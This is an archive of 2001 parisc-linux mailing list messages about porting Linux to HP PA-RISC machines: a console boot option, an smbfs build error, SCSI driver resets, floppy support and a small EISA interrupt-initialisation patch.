In-Reply-To: <20011109154525.A7672@dogbert.localdomain>; from fullung@ilink.nis.za on Fri, Nov 09, 2001 at 03:45:25PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12969

Hi,
  As you've captured this output, I guess you are using serial console?
If so

> --commandline=2/boot/vmlinux HOME=/ TERM=linux console=tty

is wrong.  You want console=ttyS0

In fact, you don't actually need to specify console= at all these
days, palo will append the right string based on where you run it
from.

Richard




From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] smbfs doesn't build
Date: Fri, 9 Nov 2001 17:33:15 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20011109173315.C11633@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620728 29670 80.91.229.3 (22 Nov 2014 01:45:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 08:32:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A77D482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 08:32:31 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 162Ddr-0001Cq-00
	for parisc-linux@lists.parisc-linux.org; Fri, 09 Nov 2001 17:32:27 +0200
Original-Received: (qmail 32396 invoked from network); 9 Nov 2001 15:32:25 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 9 Nov 2001 15:32:25 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 162Ded-00031r-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 09 Nov 2001 17:33:15 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *162Ddr-0001Cq-00*dEQ/aufZo/M* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12970

Hello,

Trying to build smbfs on 2.4.9-pa79 yields the following error:

ioctl.c: In function `smb_ioctl':
ioctl.c:36: `__kernel_old_uid_t' undeclared (first use in this function)
ioctl.c:36: (Each undeclared identifier is reported only once
ioctl.c:36: for each function it appears in.)
make[3]: *** [ioctl.o] Error 1
make[3]: Leaving directory `/usr/src/linux/fs/smbfs'
make[2]: *** [first_rule] Error 2
make[2]: Leaving directory `/usr/src/linux/fs/smbfs'
make[1]: *** [_subdir_smbfs] Error 2
make[1]: Leaving directory `/usr/src/linux/fs'
make: *** [_dir_fs] Error 2

I poked around the source code a bit -- it seems some macro to convert
(or not convert) between 32-bit and 64-bit UIDs is missing.

In related matters, what's happening with getting devfs fixed? :-) I'll
be happy to extensively test any patches.

Regards,

Albert



From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smbfs doesn't build
Date: Fri, 9 Nov 2001 09:25:51 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20011109092551.A3053@tausq.org>
References: <20011109173315.C11633@dogbert.localdomain>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620729 29672 80.91.229.3 (22 Nov 2014 01:45:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 10:25:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF975482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 10:25:58 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id iehtiaaa for parisc-linux@lists.parisc-linux.org; Fri, 9 Nov 2001 10:21:03 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 162FPb-0000oA-00; Fri, 09 Nov 2001 09:25:51 -0800
Content-Disposition: inline
In-Reply-To: <20011109173315.C11633@dogbert.localdomain>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12971

In reference to a message from Albert Strasheim, dated Nov 09:
> Hello,
> 
> Trying to build smbfs on 2.4.9-pa79 yields the following error:
> 
> ioctl.c: In function `smb_ioctl':
> ioctl.c:36: `__kernel_old_uid_t' undeclared (first use in this function)
> ioctl.c:36: (Each undeclared identifier is reported only once
> ioctl.c:36: for each function it appears in.)
> make[3]: *** [ioctl.o] Error 1
> make[3]: Leaving directory `/usr/src/linux/fs/smbfs'
> make[2]: *** [first_rule] Error 2
> make[2]: Leaving directory `/usr/src/linux/fs/smbfs'
> make[1]: *** [_subdir_smbfs] Error 2
> make[1]: Leaving directory `/usr/src/linux/fs'
> make: *** [_dir_fs] Error 2

i have a patch in my tree that adds back some of these things that are
in other archs but not in parisc. will clean it up and post RSN.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 install and boot part 3...
Date: Fri, 09 Nov 2001 10:30:53 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <200111091730.KAA32672@puffin.external.hp.com>
References: <dan@bigw.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620729 29676 80.91.229.3 (22 Nov 2014 01:45:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Daniel Williams <dan@bigw.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 10:35:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E26B2482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 10:35:02 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA32672;
	Fri, 9 Nov 2001 10:30:53 -0700
In-Reply-To: Message from Daniel Williams <dan@bigw.org> 
   of "Thu, 08 Nov 2001 21:21:45 CST." <E76C922A-D4C0-11D5-BC47-0030657D1C94@bigw.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12972

Daniel Williams wrote:
> scsi bus is being reset for host 1 channel 0
> ncr53c8xx_reset: pid-0 resetflags=2 serial_number=18 
> serial_number_at_timeout=18
> ncr53c720-0: restart(scsi reset)
> SCSI host 1 abort (pid0) timed out - resetting.

uhm...shouldn't that be the sym53c8xx driver?
I only ask because I couldn't find ncr53c8xx_reset in the sym53c8xx driver.

grant



From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 install and boot part 3...
Date: Fri, 9 Nov 2001 12:02:02 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <E096047F-D53B-11D5-B326-0030657D1C94@bigw.org>
References: <200111091730.KAA32672@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620729 29678 80.91.229.3 (22 Nov 2014 01:45:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 11:02:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beloit.edu (beloit.edu [144.89.40.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D7B3482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 11:02:04 -0700 (MST)
Original-Received: from localhost ([144.89.185.182])
	by beloit.edu (AIX4.3/8.9.3/8.9.0) with ESMTP id LAA32704
	for <parisc-linux@lists.parisc-linux.org>; Fri, 9 Nov 2001 11:56:26 -0600
In-Reply-To: <200111091730.KAA32672@puffin.external.hp.com>
X-Mailer: Apple Mail (2.472)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12973

Actually, fairly sure it was this, I copied it down verbatim.  Though I 
could check again.

ncr53c8xx_reset: pid=0 resetflags=2 serial_number=18 
serial_number_at_timeout=18

It kept doing all these lines, except increasing the serial_number and 
serial_number_at_timeout from 18 to whenever I stopped it, which I think 
was 35 at one point.  I could check again, but I distinctly remember 
seeing BOTH the ncr53c8xx and ncr53c720-0 stuff on the console.  This is 
the graphical console install, not the serial console install.

0.9.2 ISO stock.

Dan

On Friday, November 9, 2001, at 11:30 AM, Grant Grundler wrote:

> Daniel Williams wrote:
>> scsi bus is being reset for host 1 channel 0
>> ncr53c8xx_reset: pid-0 resetflags=2 serial_number=18
>> serial_number_at_timeout=18
>> ncr53c720-0: restart(scsi reset)
>> SCSI host 1 abort (pid0) timed out - resetting.
>
> uhm...shouldn't that be the sym53c8xx driver?
> I only ask because I couldn't find ncr53c8xx_reset in the sym53c8xx 
> driver.
>
> grant




From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Floppy on a 712/60
Date: Fri, 9 Nov 2001 21:31:10 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20011109213107.E16534@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620730 29679 80.91.229.3 (22 Nov 2014 01:45:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 13:31:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id A909A482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 13:31:15 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id D229D9F26; Fri,  9 Nov 2001 21:31:11 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
X-Operating-System: Linux mail 2.4.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12974

Hi!

I got one of those 712/60 these days. No fun at all:-( The machine came
properly installed with Debian GNU/Linux and there seems to be nothing
that really needs to be hacked... Well, the box is missing it's floppy
drive. Can I attach a standard floppy drive ripped off an ordinary PC?

Further on, I'm currently compiling massively.

I can't compile the "normal" floppy.o module. Is there a special one, or
is ./include/asm/floppy.h a bit hosed (kernel sources are from CVS)?

MfG, JBG

-- 
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	http://lug-owl.de/~jbglaw/software/snapshot2cvs/



From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA stuff now in CVS
Date: Fri, 9 Nov 2001 22:08:14 +0100 (CET)
Lines: 45
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.40.0111092205340.12365-100000@alpha.bocc.de>
References: <20011108004716.4A44C482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620730 29683 80.91.229.3 (22 Nov 2014 01:45:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 14:08:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5FD6482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 14:08:24 -0700 (MST)
Original-Received: from pD9E01D7C.dip.t-dialin.net (pD9E01D7C.dip.t-dialin.net [217.224.29.124])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fA9L8K612260;
	Fri, 9 Nov 2001 22:08:20 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <20011108004716.4A44C482C@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12975

Hi Helge,

> I don't have any EISA cards, so I tested it here with an
> old ISA NE2000 NIC clone in my 715/64:
> 
> dmesg:
> ne.c:v1.10 9/23/94 Donald Becker (becker@scyld.com)
> Last modified Nov 1, 2000 by Paul Gortmaker
> NE*000 ethercard probe at 0x340: 08 00 00 50 11 13
> eth0: NE2000 found at 0x340, using IRQ 10.
> 
> pa64:~# ping www.kde.org
> PING www.kde.org (213.203.58.36): 56 data bytes
> 64 bytes from 213.203.58.36: icmp_seq=0 ttl=237 time=149.7 ms

Pretty strange you're getting any interrupts, as with the current patch 
the EISA PIC isn't initialized, at all...

Index: gsc/eisa.c
===================================================================
RCS file: /var/cvs/linux/drivers/gsc/eisa.c,v
retrieving revision 1.12
diff -u -r1.12 eisa.c
--- gsc/eisa.c	2001/11/08 00:12:40	1.12
+++ gsc/eisa.c	2001/11/09 21:07:19
@@ -336,8 +336,6 @@
 	}
 	pcibios_register_hba(&eisa_dev.hba);
 
-	init_eisa_pic();
-	
 	result = request_irq(dev->irq, eisa_irq, SA_SHIRQ, "EISA", NULL);
 	if (result) {
 		printk(KERN_ERR "EISA: request_irq failed!\n");
@@ -352,6 +350,7 @@
 	irq_region[0] = &eisa_irq_region;
 	
 	EISA_bus = 1;
+	init_eisa_pic();
 	
 	return 0;
 }




From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA stuff now in CVS
Date: Fri, 9 Nov 2001 23:22:26 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011109222255.8DB90482C@dsl2.external.hp.com>
References: <Pine.LNX.4.40.0111092205340.12365-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620730 29687 80.91.229.3 (22 Nov 2014 01:45:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 15:22:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 8DB90482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 15:22:55 -0700 (MST)
Original-Received: (qmail 6825 invoked by uid 0); 9 Nov 2001 22:22:53 -0000
Original-Received: from pd9e08534.dip.t-dialin.net (HELO P100.helgenet.de) (217.224.133.52)
  by mail.gmx.net (mp020-rz3) with SMTP; 9 Nov 2001 22:22:53 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <Pine.LNX.4.40.0111092205340.12365-100000@alpha.bocc.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12976

On Friday 09 November 2001 22:08, Jochen Friedrich wrote:
> Pretty strange you're getting any interrupts, as with the current patch
> the EISA PIC isn't initialized, at all...

Hi Jochen,
Daniel's newest patch is in CVS only. Update your tree or download the whole
kernel source from ftp://parisc-linux.org/cvs

Greetings,
Helge



From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA stuff now in CVS
Date: Fri, 9 Nov 2001 13:23:27 -0900 (AKST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0111091320560.4707-100000@goliath.alaskatech.org>
References: <Pine.LNX.4.40.0111092205340.12365-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620731 29691 80.91.229.3 (22 Nov 2014 01:45:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:31 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	<parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 15:24:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57394482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 15:24:28 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GMK0WS00.EVS for
          <parisc-linux@lists.parisc-linux.org>; Fri, 9 Nov 2001 13:24:28 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GMK0WS02.M49; Fri, 9 Nov 2001 13:24:28 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA04916;
	Fri, 9 Nov 2001 13:23:27 -0900
In-Reply-To: <Pine.LNX.4.40.0111092205340.12365-100000@alpha.bocc.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12977

> > Helge:
> > I don't have any EISA cards, so I tested it here with an
> > old ISA NE2000 NIC clone in my 715/64:
> >
> > dmesg:
> > ne.c:v1.10 9/23/94 Donald Becker (becker@scyld.com)
> > Last modified Nov 1, 2000 by Paul Gortmaker
> > NE*000 ethercard probe at 0x340: 08 00 00 50 11 13
> > eth0: NE2000 found at 0x340, using IRQ 10.
>
> On Fri, 9 Nov 2001, Jochen Friedrich wrote:
> Pretty strange you're getting any interrupts, as with the current patch
> the EISA PIC isn't initialized, at all...

Not that strange, I'm thinking. Lots of ISA cards have the IO and IRQ
hard-coded on them, either via jumper or logically. I'd guess this NIC is
advertising it's presence and resources used, so the system is picking up
on it. Impressive that it's working, though...

BTW, how stands the 'apt-get update' fixes? Are we safe to go, or do we
need another day or two for things to spread about?




From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA stuff now in CVS
Date: Fri, 9 Nov 2001 23:33:30 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20011109223359.4F2E4482C@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0111091320560.4707-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620731 29695 80.91.229.3 (22 Nov 2014 01:45:31 GMT)
